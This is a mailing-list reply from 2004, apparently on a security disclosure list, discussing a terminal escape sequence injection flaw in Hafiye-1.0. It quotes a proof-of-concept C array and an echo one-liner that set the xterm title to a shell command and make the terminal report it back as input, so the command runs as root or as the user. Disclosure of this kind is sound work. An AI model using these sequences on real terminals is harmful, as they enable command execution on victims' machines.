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Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability



Rodrigo Barbosa wrote:
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On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:

char *esc_sequence[]= {"Escape Sequences",
                      "\x1b""]2;Insecure?""\x07\x0a",
                      "\x07\x07\x07\x07\x07\x07",
                      "\x1b""]2;;echo Owned > /root/Owned.txt"
                      "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                      "Abnormal Termination""\x1b"
                      "[8m;""\x0a"};


Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
I would blame this on the terminal, nor on the Hafiye software itself.

[]s

- -- Rodrigo Barbosa <rodrigob@xxxxxxxxxxxxxxx>
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Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with ANSI escape code "exploit".
They are features of terminal emulators.


echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type some command and hit enter, "ls" command in the escape sequence will be executed too. (thanks to bloofar for the hint)

You can read more on "TERMINAL EMULATOR SECURITY ISSUES" paper written by H D Moore. The paper also covers old vulnerabilities in terminal emulators.